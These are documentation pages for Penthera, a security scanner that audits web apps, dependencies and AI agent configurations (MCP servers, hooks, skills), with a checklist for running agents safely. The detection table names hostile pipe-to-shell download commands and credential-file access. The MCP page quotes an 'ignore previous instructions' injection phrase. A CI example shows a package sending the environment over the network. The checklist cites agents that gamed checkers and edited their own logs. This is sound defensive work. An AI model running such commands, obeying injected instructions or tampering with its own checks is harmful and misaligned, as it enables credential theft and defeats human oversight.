`~/.penthera/consent.jsonl` on this computer only, and never used to skip a
question.

### Fully local: `--offline`

```bash
penthera http://localhost:3000 --offline
```

With `--offline`, the HTTP client refuses every host except the scan target. A redirect may only move to a host on the target's registrable domain (`example.com` to `www.example.com`). In practice:

- **Recon is skipped.** No queries go to crt.sh, the Wayback Machine or OTX.
- **The Retire.js database comes from the snapshot vendored in the package** (`lib/data/retire-jsrepository.json.gz`), refreshed at each release by `scripts/refresh-retire-db.mjs`. The source URL, fetch date and SHA-256 sit next to it in `retire-jsrepository.meta.json`, so you can check it against upstream. Online scans fall back to the snapshot too when the live download fails.
- **Third-party scripts are not fetched.** A refused request is listed in the report as an inconclusive probe, not passed over silently.
- **`--suppliers` is refused**, because it rates third-party domains.
- **DNS:** reaching a remote target needs DNS. For non-local targets, the email-authentication check also looks up the target domain's SPF/DMARC/MX records through your system resolver. A `localhost` or IP target needs no DNS at all.

Penthera never fetches rules or code at runtime. Templates, wordlists and the vulnerability database ship in the package.

### Inconclusive probes

When a probe's requests time out, fail or are refused by `--offline`, the scan records `{ probe, url, message }` in `result.errors`. The terminal summary shows "N probes inconclusive", and the Markdown report lists each one. A probe that could not run is not a clean result.

Scan only targets you are authorized to test. See [Ethics and authorization](https://penthera.org/README.md#ethics-and-authorization).

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/commands/agents.md · https://penthera.org/docs/commands/agents.md -->

# Auditing your AI tooling: `penthera agents`

> **Starter.** For "is this MCP server or skill safe?"

## Audit your agent setup

Your AI tools run code too. `penthera agents` audits the skills, MCP servers,
hooks, permissions, plugins and rule files that Claude Code, Cursor, Claude
Desktop, VS Code and Copilot load, and grades the setup A to F.

```bash
penthera agents                 # this repo: .mcp.json, .claude/, .cursor/, AGENTS.md, CLAUDE.md, skills/
penthera agents --home          # + ~/.claude (hooks, permissions, plugins, skills), ~/.cursor/mcp.json, Claude Desktop
penthera agents ./some-skill    # vet a downloaded skill before you install it
penthera agents --pin           # write penthera.lock; later runs flag anything that changed
```

It is **offline and deterministic**: no LLM judge, no registry lookups, nothing
leaves your machine, and it never modifies the config it reads. Every verdict
is a rule you can read in [`lib/agents/`](https://github.com/danoszz/penthera/tree/main/lib/agents), so a skill can't talk
its way past it.

| Check | What it catches |
|---|---|
| Hidden content | Unicode tag characters (decoded), zero-width and bidi controls, variation-selector smuggling, text pushed past a wall of blank lines or off-screen, instructions in HTML comments, text addressed to the scanner, base64 blobs (decoded and classified), `.pyc`/archives/executables in a skill folder (by magic bytes, so a renamed `.png` doesn't hide one), symlinks that leave the folder |
| Code execution | `curl \| sh`, `wget \| bash`, `bash <(curl …)`, `eval "$(curl …)"`, `base64 -d \| sh`, `exec(base64…)`, PowerShell `iwr \| iex`, in skills, scripts, hooks and MCP launch commands |
| MCP servers | `npx -y` / `uvx` / `bunx` / `pnpm dlx` without an exact version, inline secrets in `env`, headers or args (same rules as the repo secret scan), remote servers over plain `http://` |
| Hooks & permissions | Hooks that auto-approve tool calls or pipe into a shell (including the scripts they run), `Bash(*)` and other wildcard allows, `bypassPermissions`, allow rules for `~/.ssh` and other credential files, wildcards in a skill's `allowed-tools` |
| Plugins | Marketplaces and marketplace plugins not pinned to a commit |
| Rug pulls | `--pin` writes SHA-256 hashes of every skill folder, MCP server definition, hook and installed plugin to `penthera.lock`. A later run reports what changed, appeared or disappeared |

Each finding names the OWASP [MCP Top 10](https://owasp.org/www-project-mcp-top-10/)
and [Agentic Top 10](https://genai.owasp.org/) (ASI) ids it maps to, and the
usual `--json`, `-o`, `--markdown` and `--sarif` outputs all work. The scanner
is built for the ways LLM-judged skill scanners have been bypassed: it reads
whole files (no context window to overflow), every file in a skill folder (not
just `SKILL.md`), and treats text aimed at a reviewer as a finding rather than
an argument.

## Why these files matter

A coding agent runs with your developer's permissions. What it can do is decided
by files that rarely get reviewed: `.mcp.json`, `.claude/settings.json`, hooks,
skills, plugins, `CLAUDE.md`, `AGENTS.md` and `.cursor/` rules. Some arrive from
a teammate's pull request, some from a marketplace, some from a blog post. In
2025 and 2026 attackers used these paths: skills with instructions hidden from
human reviewers, MCP servers launched with `npx -y` on whatever version was
latest, and npm worms that wrote to `~/.claude` and ran the `claude` CLI on the
victim's machine.

`penthera deps` also flags packages that write to `~/.claude`, `~/.cursor` or
`.mcp.json`, or run the `claude`, `gemini` or `q` CLIs, which is how the
s1ngularity attack used local AI tools ([`penthera deps`](https://penthera.org/docs/commands/deps.md)).

## For a team

Add the [pre-commit hook](https://penthera.org/docs/commands/hook.md) so agent-config changes are checked before
they are committed, and the GitHub Action in `agents` mode on pull requests
([in CI](https://penthera.org/docs/commands/action.md)):

```bash
npx penthera hook install
```

```yaml
- uses: danoszz/penthera@<release-commit-sha>
  with:
    mode: agents
```

## What you get

From Penthera's own test fixture of a deliberately bad setup (abridged):

```
  Grade       F  (0/100)
  Found      1 skills · 4 MCP servers · 3 hooks · 0 plugins · 1 rule files
  Lock       none (run with --pin)

  CRIT  MCP server "installer" launches by downloading and running code
         .mcp.json
  CRIT  SessionStart hook downloads and runs code
         .claude/settings.json
  HIGH  Instructions hidden in an HTML comment
         skills/helper/SKILL.md
  HIGH  Text addressed to a security scanner
         skills/helper/SKILL.md
  HIGH  PreToolUse (*) hook auto-approves tool calls
         .claude/settings.json
  HIGH  Permission allow-list grants `Bash(*)`
         .claude/settings.json
  MED   MCP server "filesystem" runs an unpinned package via npx
         .mcp.json
```

## What it does not do

- It reads configuration and files on disk. It does not watch what an agent does
  at run time, and it does not sandbox anything. For running agents, see
  [running AI agents safely](https://penthera.org/docs/agents-safely.md).
- It does not know whether a remote MCP server is trustworthy. It checks how the
  server is launched and configured, not what the service behind it does.
- It does not check the registries for newly published malicious skills or
  packages. A registry-watching service such as
  [Socket](https://penthera.org/docs/compare/socket.md) covers that.
- Its rules cover the patterns in the [methodology](https://penthera.org/docs/METHODOLOGY.md). A new
  trick needs a new rule and a release.

[Docs index](https://penthera.org/docs/index.md) · [All commands](https://penthera.org/docs/commands/README.md)

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/commands/skill.md · https://penthera.org/docs/commands/skill.md -->

# Penthera as an Agent Skill

> **Starter.** For "can my coding agent run it for me?"

## For your AI coding agent

Penthera ships as an [Agent Skill](https://agentskills.io), the open format used
by Cursor, Claude Code, Claude.ai, and [40+ agent tools](https://agentskills.io/clients).
The skill teaches an agent to run authorized scans, pick the right profile, and
summarize findings, so you can describe what you want in plain words.

**Install** (any of these):

```bash
# Cross-agent, frictionless
npx skills add danoszz/penthera

# Or the one-line installer (also links the CLI)
curl -fsSL https://raw.githubusercontent.com/danoszz/penthera/main/install.sh | bash

# Or copy into a single project for team sharing
cp -r skills/penthera .cursor/skills/penthera     # Cursor
cp -r skills/penthera .claude/skills/penthera     # Claude Code
```

Or as a Claude Code plugin (installs the skill):

```bash
/plugin marketplace add danoszz/penthera
/plugin install penthera@penthera
```

For Claude.ai (web), zip and upload the skill:

```bash
npm run package:skill   # produces penthera-skill.zip; upload in Settings > Capabilities > Skills
```

The skill runs the CLI in your agent's terminal. To give your agent typed,
read-only tools instead, add the MCP server: see [mcp.md](https://penthera.org/docs/commands/mcp.md).

**Prompts that trigger it:**

- "Scan my localhost app on port 3000 for security issues"
- "Run a pre-deploy audit on staging.myapp.com and summarize critical findings"
- "Scan this repo for hardcoded secrets and exposed API routes"
- "Compare today's scan to last week's baseline and show only new findings"
- "Generate a SARIF report for GitHub code scanning"
- "Audit my MCP servers, skills and Claude Code hooks"

The skill adds an authorization gate: it instructs the agent to refuse targets you
do not own or are not authorized to test, and the wizard asks you to confirm before
scanning a remote host. It is an agent-level and interactive safeguard, not something
the raw CLI enforces. You are responsible for every target you pass it. Run preflight
from your project folder before the first scan. The script is in the skill's own folder:
`~/.claude/skills/penthera` after `npx skills add -g`, or `skills/penthera` in a checkout.

```bash
bash ~/.claude/skills/penthera/scripts/preflight.sh http://localhost:3000
```

Skill source and workflows live in [`skills/penthera/SKILL.md`](https://github.com/danoszz/penthera/blob/main/skills/penthera/SKILL.md).

[Back to the README](https://penthera.org/README.md) · [All commands](https://penthera.org/docs/commands/README.md)

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/commands/mcp.md · https://penthera.org/docs/commands/mcp.md -->

# Penthera in your agent: `penthera mcp`

> **Starter.** For "can my coding agent call Penthera as a tool?"

## Add it to your agent

`penthera mcp` runs Penthera as an [MCP](https://modelcontextprotocol.io)
server. Your agent (Claude Code, Cursor, Codex, VS Code, Windsurf) starts it
and calls its tools. It needs Node.js 22 or later.

The MCP server is new in 1.9.0, so the commands below pin that version.

Always pin the version. An unpinned `npx penthera` runs whatever version is
newest on npm each time your agent starts, which is the risk that
`penthera agents` reports as `mcp-unpinned`.

**Claude Code**

```bash
claude mcp add penthera -- npx -y penthera@1.9.0 mcp
```

Add `--scope project` to write it to `.mcp.json` for the whole team.

**Codex**

```bash
codex mcp add penthera -- npx -y penthera@1.9.0 mcp
```

Or add it to `~/.codex/config.toml`:

```toml
[mcp_servers.penthera]
command = "npx"
args = ["-y", "penthera@1.9.0", "mcp"]
```

**Cursor** (`.cursor/mcp.json`) and **Windsurf** (`~/.codeium/windsurf/mcp_config.json`):

```json
{
  "mcpServers": {
    "penthera": {
      "command": "npx",
      "args": ["-y", "penthera@1.9.0", "mcp"]
    }
  }
}
```

**VS Code** (`.vscode/mcp.json`):

```json
{
  "servers": {
    "penthera": {
      "type": "stdio",
      "command": "npx",
      "args": ["-y", "penthera@1.9.0", "mcp"]
    }
  }
}
```

**Gemini CLI**, as an extension (it reads `gemini-extension.json` at the root of
this repository, with the same pinned server):

```bash
gemini extensions install https://github.com/danoszz/penthera
```

The same files are in [docs/mcp-clients/](https://github.com/danoszz/penthera/tree/main/docs/mcp-clients). The test suite
checks each one with Penthera's own MCP rules.

Then ask your agent: "scan this repo for security issues", "is this MCP config
safe?", or "what can the dependencies in this project do?".

## The tools

Every tool is read-only. None writes a file, applies a fix, or runs a shell.

| Tool | What it does | Network |
|---|---|---|
| `scan_repo` | Secrets, code-execution sinks, API routes, runtime version pins in a project folder, plus a coverage ledger of what ran and what was skipped | none |
| `check_dependencies` | What each npm or Python package can do (install scripts, shell, network, eval, credential access), known-malicious packages, typosquats | none |
| `audit_ai_tooling` | The project's skills, MCP servers, hooks, permissions and rule files, graded A to F | none |
| `runtime_advisories` | Advisories and end of life for the PHP, nginx, Apache, Node.js, Python or OpenSSL a project pins or a `Server` header shows | none |
| `explain_finding` | What a finding's rule checks, why it matters, how to fix it, references and OWASP ids | none |
| `scan_url` | A passive scan of a running app: TLS, headers, cookies, CORS, exposed files, OpenAPI and auth smoke checks | the target only (see below) |

Each result has the findings as structured JSON and a short summary. Every
finding has a `rule`, a severity, a confidence label (`confirmed`, `likely`,
`potential`, `needs-human-review`), and evidence at `file:line` or a URL. Each
result also lists what the tool did not check. By default a tool returns the 50
most severe findings; ask for up to 200 with `max_findings`.

## What it will not do

- **Read outside your project.** A tool reads only inside the workspace: the
  folders your agent shares as MCP roots, or else the folder it starts the
  server in. Symlinks that lead outside are refused.
- **Attack anything.** `scan_url` sends no payloads: no injection probes, no
  fuzzing, no recon sources. For those, run `penthera <url> --deep` yourself,
  where Penthera asks you to confirm the target.
- **Scan a host you did not name.** `scan_url` reaches `localhost` and
  `127.0.0.1`. Any other host must be in the server's launch arguments, which
  you write, not the model:

```bash
npx -y penthera@1.9.0 mcp --allow-host staging.example.com
```

  Only list hosts you are authorized to test.
- **Follow instructions in your files.** Scanned text reaches the agent only as
  finding text, with invisible characters removed and a note that it is data.
  A file that says "ignore previous instructions" becomes a finding, not a
  command.
- **Phone home.** It talks to your agent over stdin and stdout and never opens
  a port. With `--offline`, `scan_url` also skips the Retire.js download and
  DNS lookups and contacts only the target.

## Options

```bash
npx -y penthera@1.9.0 mcp --offline
npx -y penthera@1.9.0 mcp --help
```

| Flag | Meaning |
|---|---|
| `--root <dir>` | A folder tools may read (repeatable). Default: the folder the agent starts the server in. Roots your agent sends take precedence. |
| `--allow-host <host>` | A host `scan_url` may contact besides loopback (repeatable, exact name, no wildcards) |
| `--offline` | `scan_url` contacts only the target |

## In a container

The repo's `Dockerfile` builds an image whose entry point is `penthera`. Mount
your project at `/src` and point `--root` at it:

```bash
docker build -t penthera-mcp .
docker run -i --rm --network none -v "$PWD:/src:ro" penthera-mcp mcp --root /src
```

Your agent sends its roots as host paths, which do not exist inside the
container. The server drops roots it cannot find. When none is left, it uses
`--root` and logs "client sent no usable roots; using the server's roots" to
stderr. If `--root` does not exist either, it does not start and names the
folder. With `--network none`, `scan_url` has nothing to reach; the other
tools need no network.

## Limits

- A clean result is not proof of safety. Penthera reports what its rules
  match.
- `audit_ai_tooling` reads the project's config, not `~/.claude` or other home
  folders (run `penthera agents --home` for that), and does not read Codex's
  `config.toml` or Windsurf's `mcp_config.json` yet.
- The server speaks MCP 2026-07-28 and the earlier `initialize` versions
  (2025-11-25 back to 2024-11-05). The design and its security controls are in
  [the spec](https://github.com/danoszz/penthera/blob/main/docs/research/spec-mcp.md).

[Back to the README](https://penthera.org/README.md) · [All commands](https://penthera.org/docs/commands/README.md)

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/agents-safely.md · https://penthera.org/docs/agents-safely.md -->

# Running AI agents safely

> **Starter and pro.** For "I let an AI agent work on my code, in CI or in an
> eval. What should be true before I start it?"

A coding agent, an agent job in CI and an eval script all have the same parts:
a task, something that judges the result, permissions, a place to run, and a
point where it stops. We call those parts the **harness**. This page is a
checklist for the harness. It has seven items. Each says why it matters, where
the reason comes from, and how to check it.

`penthera agents` already audits MCP servers, hooks, permissions and skills.
The checks marked **(planned)** below are specified in
[spec-harness-rules.md](https://github.com/danoszz/penthera/blob/main/docs/research/spec-harness-rules.md) and are not in any
release yet. Until they ship, check those items by hand.

## The checklist

### 1. Say what is in scope

- [ ] The agent's instructions name the files, services and hosts it may touch,
      and the network it runs on allows only those.

**Why:** an agent can only respect a boundary it has been told about, so state
it in the prompt and enforce it on the network ([Anthropic, 2026](https://penthera.org/docs/references.md#anthropic2026incidents);
[Scarfone et al., 2008](https://penthera.org/docs/references.md#scarfone2008sp800115)).

**Checked by** `harness-no-scope` and `sandbox-egress-open` (planned).

### 2. Give it a safe exit

- [ ] The instructions say what to do when the task is blocked, impossible or
      out of scope: stop, say so, and count that as an acceptable result.

**Why:** agents stuck on tasks that could not be solved as intended were the
ones that turned to gaming the checker
([METR & Redwood Research, 2026](https://penthera.org/docs/references.md#metr2026investigation);
[Amodei et al., 2016](https://penthera.org/docs/references.md#amodei2016concrete)).

**Checked by** `harness-no-exit` (planned).

### 3. Keep the judges out of reach

- [ ] The agent cannot edit the tests, test config, scorer, reward code or
      answer files that decide whether it succeeded.
- [ ] The judge checks the result itself, not the agent's report of what it did.

**Why:** a model optimizing against a checker it can change will change the
checker instead of doing the task
([Baker et al., 2025](https://penthera.org/docs/references.md#baker2025monitoring);
[Zhong et al., 2025](https://penthera.org/docs/references.md#zhong2025impossiblebench)).

**Checked by** `harness-judge-writable` and `scorer-in-reach` (planned). Whether
a judge trusts the agent's own report: **check by hand.**

### 4. No shared or host credentials

- [ ] The agent's container or job gets no credentials from your machine
      (`~/.npmrc`, cloud credentials, the Hugging Face token, SSH keys,
      `docker.sock`) and no publish-scoped registry token.
- [ ] Parallel agent runs share no writable volume or cache.

**Why:** an agent needs only the access its task needs, and credentials or
storage shared across runs let one run reach what another can
([Saltzer & Schroeder, 1975](https://penthera.org/docs/references.md#saltzer1975protection);
[OpenAI, 2026](https://penthera.org/docs/references.md#openai2026incident)).

**Checked by** `sandbox-host-credentials` and `sandbox-shared-writable`
(planned). Inline secrets in MCP configs and pre-approved reads of credential
files are already checked by `mcp-inline-secret` and
`permission-credential-read`.

### 5. Bound every run

- [ ] Every agent run has a limit on steps, time or cost, and a loop that
      restarts the agent has a limit too.

**Why:** in the incidents, agents kept trying for days after the task had
stopped making sense
([METR & Redwood Research, 2026](https://penthera.org/docs/references.md#metr2026investigation)).

**Checked by** `harness-unbounded` (planned).

### 6. Keep a record the agent cannot edit

- [ ] Logs, transcripts and results are written somewhere the agent can append
      to but not rewrite.

**Why:** a record that the logged party can change is not evidence of what
happened, and agents in the incidents did try to edit their own transcripts and
logs ([Schneier & Kelsey, 1999](https://penthera.org/docs/references.md#schneier1999secure);
[METR & Redwood Research, 2026](https://penthera.org/docs/references.md#metr2026investigation)).

**Check by hand.** Penthera's own memory store is hash-chained and its evidence
bundles are signed; see [the local loop](https://penthera.org/docs/local-loop.md) and
[evidence](https://penthera.org/docs/evidence.md).

### 7. Name a human to tell

- [ ] The instructions say who to report to, and someone reads the alerts and
      transcripts while the agent runs.

**Why:** human oversight works only if a person gets the signal in time to act
on it ([Tabassi, 2023](https://penthera.org/docs/references.md#tabassi2023airmf);
[Anthropic, 2026](https://penthera.org/docs/references.md#anthropic2026incidents)).

**Check by hand.**

## What this page does not cover

- It is about the harness around your agent, not about which model you use.
- The planned checks read files in your repository. They cannot see network
  policy, cloud IAM or runner settings that live outside it, so a clean result
  on items 1, 4 and 5 is not proof.
- It is written for a developer or a small team running agents on their own
  code. It is not a guide to securing a lab's training or evaluation cluster.

The background is in
[What the 2026 agent incidents mean for Penthera](https://github.com/danoszz/penthera/blob/main/docs/research/agent-incidents-2026.md).

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/ai-mode.md · https://penthera.org/docs/ai-mode.md -->

# AI mode: `--ai`

> **Starter and pro.** For "can a model look for what Penthera's rules miss,
> without my code leaving my computer and without trusting the model?"

AI mode is opt-in and experimental. A model on your computer reads your code,
part by part, and proposes problems that no rule describes. Penthera then
checks every proposal with its own rules. A model never decides a finding:
what a rule confirms becomes a finding, and the rest is shown as
"model-proposed, unverified", apart from rule findings, and never fails CI.

```bash
penthera --repo . --ai
```

Whether AI mode finds more than the rules alone is not measured yet. A
pre-registered experiment (E9) will measure it, and AI mode stays opt-in until
it does.

## What you need

[Ollama](https://ollama.com) running on this computer, with a code model
pulled, for example:

```bash
ollama pull qwen2.5-coder:7b
penthera ai models
```

`penthera ai models` lists your models and says which run on this computer and
which run on ollama.com.

## What happens, step by step

1. **Consent.** Penthera asks before anything is scanned, every run.
2. **Rules.** The normal repo scan runs, and records what it read (the
   coverage ledger in the report).
3. **The model reads.** Your code is split into parts of up to 200 lines. Files
   the rules could not analyse come first, then files that handle outside
   input. Tests and minified files are left out. Anything the secret scan
   recognises is masked before a part is sent. The model gets text only: no
   tools, files, network or shell.
4. **Penthera checks.** Each proposal must point at a line of the part the
   model was shown, or it is dropped. A proposal that a Penthera rule confirms
   (same kind of issue, same file) marks that rule's finding "also proposed by
   AI". The rest are model-proposed, unverified.
5. **The report** has an AI mode section: the model, where it ran, how much it
   read, and the unverified proposals. They are not counted in the summary and
   never change the exit code.

## Consent

Every `--ai` run shows this, and the default answer is no:

```
  AI mode: a model reads your code to look for problems the rules can't see.

  Model     qwen2.5-coder:7b, through Ollama on this computer (127.0.0.1)
  Reads     up to 200 parts of ./my-app, with secrets masked
  Sends     nothing off this computer
  Decides   nothing. Penthera checks every model finding with its own rules.
            Unchecked ones are labelled and never fail CI.

  Use this model for ./my-app? [y/N/details]
```

- Enter, Ctrl-C or anything but `y` runs the scan with rules only. Saying no is
  never an error.
- `details` explains the route in full, the model's size and digest, and where
  consent is logged, then asks again.
- Nothing is remembered as permission. Each answer is added to a log on this
  computer only (`~/.penthera/consent.jsonl`); `penthera ai consent` shows it.

### Cloud models

Ollama can serve models that run on ollama.com through the same local address;
their names end in `-cloud`. Penthera recognises them and never treats one as
local. Choosing one shows a second screen, and you type the host to agree:

```
  This model runs on ollama.com, not on this computer.

  Sends     up to 200 parts of ./my-app, secrets masked, to ollama.com
            through your local Ollama, under Ollama's terms

  Type ollama.com to send your code there, or press Enter to stop:
```

If Penthera cannot tell whether a model runs locally, it treats it as a cloud
model.

### CI and other runs that cannot ask

A run without a terminal (CI, piped input, `--json`) needs consent given in
advance, or it stops before scanning with exit code 2:

```bash
penthera --repo . --ai --ai-model qwen2.5-coder:7b --ai-consent local
```

or, reviewed with the rest of your config, in `penthera.policy.json`:

```json
{ "ai": { "allow": ["local"] } }
```

The value is a route, not a yes: `local` never covers a cloud model, which
needs `ollama-cloud`. `"allow": []` turns AI mode off for the repository.

## In the dashboard

`penthera ui`: in **New scan…**, turn on **AI mode** for a scan of a project
folder. The same consent appears as a sheet, with a picture of where your code
goes and two equal buttons, "Use <model> on this computer" and "Not now". See
[dashboard.md](https://penthera.org/docs/dashboard.md#ai-mode).

## Options

| Flag | Default | Use |
|---|---|---|
| `--ai` | off | Turn AI mode on for this run (needs `--repo`) |
| `--ai-model <name>` | asks | An Ollama model; required when the run cannot ask |
| `--ai-budget <spec>` | `units=200,tokens=2M,time=20m` | Hard caps; the first one hit ends the model's reading, and the report says the run was partial and what it did not read |
| `--ai-consent <route>` | none | `local` or `ollama-cloud`, for runs that cannot ask |
| `--ai-scope <folder>` | the whole repo | Only read files under this folder |

When Ollama is not running, has no models, or the model you named is not
installed, the rules-only scan runs and the report says why AI mode did not.
Ctrl-C during the model's reading stops it; what it read so far is checked and
reported as partial.

## Using your own agent instead

You can also run an AI audit in your own coding agent, for example
Cloudflare's security-audit skill, with any model it supports, and give the
result to Penthera to check: see [penthera verify](https://penthera.org/docs/commands/verify.md). Then
Penthera runs no model at all; your agent and its provider handled your code,
under their terms.

## What this does not do

- It does not make the model a judge. A model's "critical" stays a claim until
  a rule confirms it.
- It does not run your code. (Checking proposals by running the code in a
  sandbox is planned and will ask separately.)
- It is not robust against code written to mislead a model. Such code can make
  the model miss things or invent things; it cannot turn a proposal into a
  finding, because only rules confirm.
- It does not call any hosted AI service itself. The only way code leaves your
  computer in AI mode is a cloud model in your own Ollama, after the second
  screen.

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/commands/verify.md · https://penthera.org/docs/commands/verify.md -->

# Checking a model's findings: `penthera verify`

> **Pro.** For "an AI audit gave me a list of vulnerabilities. Which ones can I
> trust?"

AI security audits, such as Cloudflare's
[security-audit skill](https://github.com/cloudflare/security-audit-skill)
running in your coding agent, find things rules can't. They also make things
up, and their own validation is done by more models. `penthera verify` checks
each finding against Penthera's deterministic rules on your checkout, and
labels the rest honestly.

```bash
penthera verify <findings.json> --repo .
```

Penthera runs no model, runs none of your code, and sends nothing anywhere. It
reads one file and your checkout. The model ran in your own agent, under that
agent's terms.

## What each finding becomes

| Result | Means | Shown as |
|---|---|---|
| **Confirmed by rule** | A Penthera rule flags the same kind of issue in the same file | Penthera's own finding, marked "also proposed by" the model |
| **Model-proposed, unverified** | No rule could confirm it: Penthera has no rule for that class, or the rule did not fire there | A finding with confidence `needs-human-review`, kept apart from rule findings |
| **Location not found** | The file or line it points at is not in this checkout | Listed, not a finding |
| **Out of scope** | The path leads outside the repository | Listed, not a finding |

A rule that ran and did not fire is **not** evidence that a finding is wrong:
rules miss things. Such findings stay unverified, never rejected.

The producer's own verdict is kept and shown, but it does not set Penthera's
confidence: a `confirmed` from the skill was confirmed by a model. Findings
the skill itself `rejected` are counted and not imported.

## Which classes a rule can confirm

The skill's `findings.json` has no class field, so Penthera infers the class
from each finding's title, description and root cause with a fixed table
(`lib/llm-audit/classes.js`): same text, same class, no model.

| Class | Confirmed by |
|---|---|
| Hardcoded secret | The secret scan, same file |
| Command injection, code injection (`eval`), XSS (`innerHTML`), permissive CORS, error message disclosure | The risky-pattern checks over discovered routes, same file and pattern |
| AI agent configuration (MCP, hooks, skills) | `penthera agents`, same file |
| SQL injection, path traversal, SSRF, open redirect, prototype pollution, deserialization, access control, authentication, CSRF, race conditions, resource exhaustion, anything else | No rule: always unverified for now |

Sandboxed reproduction of the classes without rules is planned; see the
AI-mode spec in `docs/research/`.

## The file it reads

Cloudflare security-audit-skill `findings.json`, checked against that skill's
`report-schema.json` at commit `c1c8a8c` (vendored unchanged, MIT), plus unique
fingerprints and safe repository-relative paths. A file that does not match is
refused whole, with the first errors, and nothing is imported. Limits: 8 MB and
2,000 findings. Reproduction payloads and fixed code from the file are not
copied into Penthera's output.

## The other way: seeds for the skill

```bash
penthera --repo . --audit-seeds seeds.json
```

writes Penthera's repo findings in the same `findings.json` schema, so an agent
running the skill can start from what rules already found and spend its budget
where they cannot look. Every entry is `needs_validation` (a rule reads code; it
does not run it), names its class in the root cause, and points at the line the
rule matched, or says the line is not known. Only findings in a file of the
repository are written; URL-scan findings have no source location. The file is
checked against the skill's schema before it is written, and `penthera verify`
on it confirms each entry by rule.

## Options

| Flag | Use |
|---|---|
| `--repo <path>` | The checkout the findings are about (default: the current folder) |
| `--json` | Print the result as JSON (`schema: penthera.verify/1`) |
| `-o, --output <file>` | Write the JSON result to a file |
| `--sarif <file>` | SARIF with two runs: `penthera` for rule-confirmed findings, `penthera-ai` for model findings, all at level `note` |
| `--markdown <file>` | A Markdown report, grouped by result |

### Exit codes

| Code | Meaning |
|------|---------|
| `0` | The file was read and every finding checked, whatever the results |
| `2` | Usage error, unreadable file, or a file that does not match the schema |

Unverified model findings never change the exit code.

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/commands/action.md · https://penthera.org/docs/commands/action.md -->

# Penthera in CI: the GitHub Action

> **Pro.** For "how do I put it in CI?"

There are three places to run Penthera on every change: the GitHub Action on
pull requests, a scan step in your own workflow, and the
[pre-commit hook](https://penthera.org/docs/commands/hook.md) on each developer's machine.

## The GitHub Action

```yaml
- uses: danoszz/penthera@<release-commit-sha> # pin to a release commit
  with:
    mode: deps        # deps | agents | scan (scan also needs url:)
    fail-on: none     # none | high | critical
```

On every pull request it posts one comment with the capability diff against
the PR base and edits that same comment on each push. It also uploads SARIF to
code scanning. Penthera runs from the action's own checkout: no npx, no install
from npm, no registry lookups. On fork PRs the token is read-only, so the diff
goes to the job summary instead. Inputs: `mode`, `path`, `base-ref`, `url`,
`fail-on`, `comment`, `sarif`, `penthera-version`. Copy the full workflow, with
permissions and a lockfile paths filter, from
[`docs/examples/pr-dependency-review.yml`](https://github.com/danoszz/penthera/blob/main/docs/examples/pr-dependency-review.yml).

What a reviewer sees:

```
  ▲ net-helper 1.0.0 → 1.1.0  + network, whole environment
      node_modules/net-helper/index.js:3  const https = require('https');
      node_modules/net-helper/index.js:5  const body = JSON.stringify(process.env);
```

A patch release that starts reading the whole environment next to a network
call is the shape of most credential-stealing packages. The diff shows it with
`file:line` evidence, whether or not an advisory exists yet
([`penthera deps`](https://penthera.org/docs/commands/deps.md)).

## A scan step in your own workflow

To scan a preview URL and upload SARIF, see
[scan in CI](https://penthera.org/docs/commands/scan.md#ci-integration) and the example
[`docs/examples/github-actions-scan.yml`](https://github.com/danoszz/penthera/blob/main/docs/examples/github-actions-scan.yml).
Pin the Penthera version, so every run is checked by the same rules, and use
`--baseline` to show only what is new since the last scan. `penthera --repo .`
and `penthera deps` exit 1 on high or critical findings, so either works as a
gate.

## Before you cut a release

For maintainers, locally:

```bash
npx penthera deps --base origin/main   # what changed in the tree since main
npx penthera --repo .                  # secrets, including AI provider keys
npx penthera agents                    # the agent config you ship (CLAUDE.md, .mcp.json, skills/)
npx penthera hook install              # block secrets and risky config at commit time
```

If your project ships agent skills or MCP configuration, `penthera agents` on
your own repo reads what your users' tools will load.

Penthera's own releases are a pattern you can copy: npm provenance through
trusted publishing, each version staged until a maintainer approves it with
2FA, CI actions pinned by SHA, CodeQL on every push, and a public
[OpenSSF Scorecard](https://scorecard.dev/viewer/?uri=github.com/danoszz/penthera).
See [`.github/workflows/publish.yml`](https://github.com/danoszz/penthera/blob/main/.github/workflows/publish.yml).

## The same check on every project

For agencies and teams that ship many similar apps, run the same steps on each
project, in CI or before handover:

```bash
npx penthera https://preview.client.example --repo . --profile standard \
  --sarif reports/scan.sarif -o reports/scan.json
npx penthera deps --license-policy permissive     # dependency capabilities and licenses
npx penthera agents                               # the agent config left in the repo
```

At handover, give the client a plain-language report and an evidence bundle
they can keep. Both are described in [evidence](https://penthera.org/docs/evidence.md):

```bash
npx penthera https://client.example --repo . --audience owner > security-summary.md
npx penthera https://client.example --repo . --audience auditor \
  --evidence handover/2026-10-19 --sign-key ~/.ssh/agency_ed25519
```

Only scan what you have the client's written permission to test.

## What it does not do

- Dependency analysis covers npm and Python. The install firewall and the
  `--online` registry checks are npm only for now.
- It does not track CVEs in your dependencies. Keep Dependabot or a similar
  service on for that ([how they fit](https://penthera.org/docs/compare/github.md)).
- It does not watch the registry for your package being republished by someone
  else. Enable 2FA and trusted publishing on npm for that.
- A capability is what code *can* do, not proof of intent. Many good packages
  use the network. The diff is there so a person can look.
- It does not replace a penetration test where a contract or a regulator asks
  for one.
- Fix recipes cover common JavaScript and TypeScript frameworks. Other stacks
  get findings and guidance, not diffs.

[Docs index](https://penthera.org/docs/index.md) · [All commands](https://penthera.org/docs/commands/README.md)

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/commands/hook.md · https://penthera.org/docs/commands/hook.md -->

# Pre-commit hook: `penthera hook`

> **Pro.** For "how do I put it in CI?"

## Block it before it's committed

Once a secret is pushed, rotating it is the only fix. The pre-commit hook runs
the checks that matter on what you are about to commit, and nothing else:

```bash
penthera hook install     # writes .git/hooks/pre-commit; an existing hook is kept and runs first
penthera hook run         # what the hook runs; try it on staged changes
penthera hook uninstall   # removes it and puts your old hook back
```

On staged content only (the git index, not your working tree):

- secrets and AI provider keys in staged files;
- `penthera agents` rules on staged `.mcp.json`, `CLAUDE.md`, `AGENTS.md`,
  `.cursor/`, `.claude/` and `skills/`;
- when `package-lock.json` is staged, the capability diff against HEAD's
  lockfile and the license policy, for the packages this commit adds.

```
